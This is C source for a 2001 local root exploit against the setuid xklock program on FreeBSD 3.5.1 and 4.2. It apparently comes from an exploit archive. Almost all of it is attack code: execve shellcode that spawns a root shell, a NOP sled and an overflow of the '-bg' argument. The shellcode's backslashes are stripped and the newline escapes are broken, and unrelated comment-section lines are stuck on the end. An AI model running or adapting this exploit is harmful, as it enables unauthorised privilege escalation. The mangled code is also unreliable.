/*
* xklock - FreeBSD 3.5.1 & 4.2 ports package local root exploit
*
* The X key lock program contain several exploitable buffer overflows
* in command line arguments aswell as the 'JNAME' environment variable.
* xklock is installed setuid root by default.
* This POC exploit (ab)uses the -bg arg, brute force offset if required.
*
* Usage: ./exklock <offset>
*
* [email protected] // www.synnergy.net
* 20 Feb 2001.
*
*/
#include <stdio.h>
#include <stdlib.h>
#define EGGSIZE 1024
#define RETSIZE 264
#define NOP 0x90
#define OFFSET 0
char shellcode[]= // execve() freebsd x86
"xebx37x5ex31xc0x88x46xfax89x46xf5x89x36x89x76"
"x04x89x76x08x83x06x10x83x46x04x18x83x46x08x1b"
"x89x46x0cx88x46x17x88x46x1ax88x46x1dx50x56xff"
"x36xb0x3bx50x90x9ax01x01x01x01x07x07xe8xc4xff"
"xffxffx02x02x02x02x02x02x02x02x02x02x02x02x02"
"x02x02x02/bin/sh.-c.sh";
u_long get_sp(void) { __asm__("movl %esp,%eax"); }
int main(int argc, char *argv[]) {
char egg[EGGSIZE], ret[RETSIZE];
int i, eggsize = EGGSIZE, retsize = RETSIZE, nop = NOP, offset=OFFSET;
long *address;
if(argc > 1){ offset = atoi(argv[1]); }
(char *)address = get_sp - offset;
fprintf(stderr, "Using addr: 0x%xn", address);
memset(egg, nop, eggsize);
memcpy(egg+(eggsize - strlen(shellcode) - 1), shellcode, strlen(shellcode));
for(i=0; i < retsize; i+=4) *(int *)&ret[i]=address;
if(execle("/usr/local/bin/xklock", egg, "-bg", ret, NULL, NULL)) {
fprintf(stderr,"Unable to execute /usr/local/bin/xklockn");
exit(1);
}
}
// milw0rm.com [2001-03-03]
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666